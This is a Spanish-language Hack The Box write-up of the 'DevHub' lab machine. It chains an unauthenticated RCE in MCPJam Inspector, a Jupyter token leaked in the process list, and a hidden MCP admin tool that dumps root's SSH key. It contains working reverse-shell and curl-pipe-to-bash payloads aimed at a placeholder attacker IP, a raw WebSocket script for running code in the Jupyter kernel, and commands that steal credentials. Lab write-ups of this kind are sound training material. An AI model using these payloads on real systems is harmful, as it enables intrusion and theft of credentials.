DevHub WriteUp
Tabla de contenido
DevHub es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box
, correspondiente a la Season 11. El nombre alude a su función: una plataforma interna de desarrollo que expone un inspector de servidores MCP (Model Context Protocol)
. La vulnerabilidad central es CVE-2026-23744, un RCE sin autenticación en MCPJam Inspector con CVSS 9.8.
🗺️ Cadena de Ataque
Nmap → Puerto 22 (SSH) + 80 (nginx DevHub) + 6274 (MCPJam Inspector)
│
▼
CVE-2026-23744 → POST /api/mcp/connect → RCE como mcp-dev
│
▼
ps aux → token Jupyter Lab expuesto → raw WebSocket → RCE como analyst
│
▼
/home/analyst/user.txt 🚩
│
▼
Jupyter lee /opt/opsmcp/server.py (root) → API key + tool oculta ops._admin_dump
│
▼
POST /tools/call target=ssh_keys → clave SSH privada de root
│
▼
ssh -i root_key root@localhost → root.txt 🏴
🔍 Reconocimiento
Configuración de /etc/hosts
echo "10.129.8.48 devhub.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Fase 1, Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv devhub.htb
Fase 2, Detección de versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv devhub.htb
| Puerto | Servicio | Detalle |
|---|---|---|
22 | SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 |
80 | HTTP | nginx 1.18.0, DevHub Internal Development Platform |
6274 | HTTP | MCPJam Inspector |
El hallazgo clave es el puerto 6274. El título de la respuesta HTTP es MCPJam Inspector: una herramienta de depuración para servidores MCP
que por defecto escucha en 0.0.0.0 en lugar de 127.0.0.1, exponiéndola a cualquier atacante con acceso a la red.
💉 Acceso Inicial, CVE-2026-23744 (MCPJam Inspector RCE)
¿Qué es CVE-2026-23744?
🧠 Concepto: CVE-2026-23744 es una vulnerabilidad de RCE pre-autenticado en MCPJam Inspector ≤ 1.4.2. El endpoint
/api/mcp/connectacepta en JSON los camposcommandyargsque definen cómo arrancar un servidor MCP, sin ninguna validación ni autenticación. Como el inspector escucha en0.0.0.0por defecto, cualquier atacante en red puede enviar un POST con un “servidor MCP” que en realidad ejecuta comandos arbitrarios. CVSS 9.8. Corregido en v1.4.3.
Verificación
Antes de obtener reverse shell, confirmamos la ejecución de código con un callback OOB:
# Terminal 1 — HTTP server
goshs -d ~/http -p 80 -i 0.0.0.0
# Terminal 2 — exploit (el exploit toma IP:HOST y comando, no URL completa)
git clone https://github.com/boroeurnprach/CVE-2026-23744-PoC
cd CVE-2026-23744-PoC
python3 exploit.py devhub.htb 'curl http://TU_IP/rce-test'
10.129.8.48 - - "GET /rce-test HTTP/1.1" 404 -
RCE confirmado.
Reverse Shell
# Terminal 1 — listener
penelope -p 8443
# Terminal 2 — payload en el HTTP server
echo 'bash -i >& /dev/tcp/TU_IP/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0
# Terminal 3 — exploit: descarga shell.sh del atacante y lo ejecuta
python3 exploit.py devhub.htb 'curl http://TU_IP/shell.sh|bash'
[+] Got reverse shell from devhub~10.129.8.48-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/python3!
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
✅ Shell como
mcp-dev. El exploit envía{"serverConfig": {"command": "sh", "args": ["-c", "PAYLOAD"]}}al endpoint/api/mcp/connect, el inspector lanza el proceso sin ninguna validación.
🔑 Pivote a Usuario, Token Jupyter Lab expuesto en procesos
Descubrimiento del token
Con shell como mcp-dev, listamos los procesos en ejecución:
ps aux
Entre los resultados aparece:
analyst 1043 ... /home/analyst/jupyter-env/bin/jupyter-lab
--ip=127.0.0.1 --port=8888 --no-browser
--notebook-dir=/home/analyst/notebooks
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
El token de autenticación de Jupyter Lab
es visible en la línea de comandos del proceso, accesible para cualquier usuario del sistema que pueda ejecutar ps aux. Con este token podemos autenticarnos en la API REST de Jupyter y ejecutar código Python arbitrario como analyst.
Ejecución de código via API Jupyter
La API REST de Jupyter permite crear kernels Python y enviarles código para ejecutar. La comunicación con el kernel usa WebSocket
, pero el módulo websocket no está disponible en el Python del sistema.
Solución: implementamos el protocolo WebSocket a mano con el módulo socket de Python estándar, igual que hicimos con el Node.js Inspector en otras máquinas. Los puntos clave del protocolo:
- Crear el kernel via REST:
POST /api/kernels→ obtenemos unkernel_id - Conectar via WebSocket al endpoint
/api/kernels/{id}/channels - Enviar un
execute_requesten formato Jupyter Messaging Protocol - Parsear la respuesta buscando mensajes de tipo
streamque contienen el stdout
💡 Los frames WebSocket cliente→servidor deben ir enmascarados (RFC 6455). Sin la máscara XOR el servidor cierra la conexión silenciosamente, es el mismo problema que apareció con el inspector de Node.js.
Paso 1, Crear el kernel:
curl -s -X POST "http://127.0.0.1:8888/api/kernels" \
-H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json" \
-d '{"name":"python3"}'
{"id": "f99996c7-6df0-4583-8f7a-8ceb1396ce7e", "name": "python3", ...}
Paso 2, Ejecutar código en el kernel via WebSocket:
cat > /tmp/jupyter_exec.py << 'EOF'
import socket, json, os, struct, time, uuid, re
KERNEL = "f99996c7-6df0-4583-8f7a-8ceb1396ce7e"
TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
PATH = f"/api/kernels/{KERNEL}/channels?token={TOKEN}"
# 1. WebSocket handshake (HTTP Upgrade)
sock = socket.socket()
sock.connect(('127.0.0.1', 8888))
sock.settimeout(10)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {PATH} HTTP/1.1\r\nHost: 127.0.0.1:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096) # consume HTTP 101 Switching Protocols
# 2. Función para enviar frames WebSocket con máscara (requerido RFC 6455)
def send_msg(s, msg):
payload = msg.encode()
mask = os.urandom(4)
masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
ln = len(payload)
if ln <= 125: hdr = bytes([0x81, 0x80|ln]) + mask
elif ln <= 65535: hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
else: hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
s.send(hdr + masked)
def recv_all(s, timeout=8):
s.settimeout(timeout)
buf = b''
try:
while True: buf += s.recv(65536)
except: pass
return buf
# 3. Mensaje execute_request (Jupyter Messaging Protocol v5)
msg = {
"header": {"msg_id": str(uuid.uuid4()), "username": "x",
"session": str(uuid.uuid4()), "msg_type": "execute_request",
"version": "5.0", "date": ""},
"parent_header": {}, "metadata": {},
"content": {
"code": "import os; print(os.popen('id; cat /home/analyst/user.txt').read())",
"silent": False, "store_history": False,
"user_expressions": {}, "allow_stdin": False
},
"channel": "shell", "buffers": []
}
send_msg(sock, json.dumps(msg))
time.sleep(3)
# 4. Extraer el stdout de los mensajes de tipo "stream"
raw = recv_all(sock).decode(errors='replace')
for m in re.finditer(r'"msg_type":\s*"stream".*?"text":\s*"(.*?)"(?=,\s*"buffers")', raw, re.DOTALL):
print(m.group(1).replace('\\n', '\n'))
sock.close()
EOF
python3 /tmp/jupyter_exec.py
uid=1002(analyst) gid=1002(analyst) groups=1002(analyst)
<user_flag>
🚩 User Flag
cat /home/analyst/user.txt
🧗 Escalada de Privilegios, OPSMCP Flask oculto → clave SSH de root
Descubrimiento del servidor MCP de root
En el ps aux anterior también aparece un proceso relevante:
root 1052 ... /home/manalyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
Un servidor Python corriendo como root. El fichero no es legible por mcp-dev, pero sí por analyst. Lo copiamos a /tmp con permisos de lectura usando el kernel Jupyter que ya tenemos.
💡 Script de elaboración propia, reutiliza exactamente la misma estructura del
jupyter_exec.pyanterior. El kernel ya existe, solo cambia el campocodedelexecute_request.
cat > /tmp/jupyter_copy.py << 'EOF'
import socket, json, os, struct, time, uuid
KERNEL = "f99996c7-6df0-4583-8f7a-8ceb1396ce7e"
TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
PATH = f"/api/kernels/{KERNEL}/channels?token={TOKEN}"
sock = socket.socket()
sock.connect(('127.0.0.1', 8888))
sock.settimeout(10)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {PATH} HTTP/1.1\r\nHost: 127.0.0.1:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)
def send_msg(s, msg):
payload = msg.encode()
mask = os.urandom(4)
masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
ln = len(payload)
if ln <= 125: hdr = bytes([0x81, 0x80|ln]) + mask
elif ln <= 65535: hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
else: hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
s.send(hdr + masked)
msg = {
"header": {"msg_id": str(uuid.uuid4()), "username": "x",
"session": str(uuid.uuid4()), "msg_type": "execute_request",
"version": "5.0", "date": ""},
"parent_header": {}, "metadata": {},
"content": {
# Copiamos el fichero y damos permisos de lectura para mcp-dev
"code": "import shutil, os; shutil.copy('/opt/opsmcp/server.py', '/tmp/opsmcp_server.py'); os.chmod('/tmp/opsmcp_server.py', 0o644)",
"silent": False, "store_history": False,
"user_expressions": {}, "allow_stdin": False
},
"channel": "shell", "buffers": []
}
send_msg(sock, json.dumps(msg))
time.sleep(3)
sock.close()
print("Done")
EOF
python3 /tmp/jupyter_copy.py && cat /tmp/opsmcp_server.py
Análisis del servidor
El código revela un servidor Flask
escuchando en 127.0.0.1:5000 que implementa una API de operaciones:
- API key hardcodeada:
opsmcp_secret_key_4f5a6b7c8d9e0f1a - Tools visibles (
/tools/list):ops.system_status,ops.list_services,ops.check_disk,ops.view_logs - Tools ocultas (no listadas, pero llamables en
/tools/call):ops._debug_mode, revela la existencia de las tools ocultasops._admin_dump, aceptatarget(ssh_keys/passwords/tokens) y vuelca credenciales sensibles leyendo directamente/root/.ssh/id_rsa
El fallo es doble: la API key está en el código fuente (accesible como analyst) y las tools administrativas no tienen ninguna protección adicional más allá de esa misma clave.
Verificación de la API
# Comprobamos que el servidor responde y que nuestra clave es válida
curl -s http://127.0.0.1:5000/tools/list \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a"
{"tools": ["ops.system_status", "ops.list_services", "ops.check_disk", "ops.view_logs"], ...}
Solo aparecen las tools visibles. Las ocultas no se listan, pero se pueden llamar directamente.
Extracción de la clave SSH privada de root
curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}'
{
"note": "Emergency recovery key dump",
"root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1...",
"target": "ssh_keys"
}
Acceso SSH como root
Extraemos la clave del JSON y nos conectamos directamente desde la máquina víctima:
curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['root_private_key'])" > /tmp/root_key
chmod 600 /tmp/root_key
ssh -i /tmp/root_key -o StrictHostKeyChecking=no root@localhost
root@devhub:~#
✅ Shell como root. La API key en el código fuente del servidor MCP (accesible vía Jupyter como
analyst) más una tool de “recuperación de emergencia” sin restricciones adicionales dan acceso directo a la clave privada de root.
🏴 Root Flag
cat /root/root.txt
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap | Puertos 80 (DevHub) + 6274 (MCPJam Inspector) |
| 2 | CVE-2026-23744 (RCE pre-auth MCPJam) | exploit.py | Shell como mcp-dev |
| 3 | Token Jupyter Lab en ps aux | WebSocket raw Python | RCE como analyst + user.txt 🚩 |
| 4 | Lectura /opt/opsmcp/server.py via Jupyter | Jupyter kernel API | API key + tool oculta ops._admin_dump |
| 5 | ops._admin_dump target=ssh_keys | curl | Clave SSH privada de root |
| 6 | SSH con clave root | ssh | Shell como root + root.txt 🏴 |
Un saludo, nos vemos en el próximo challenge.
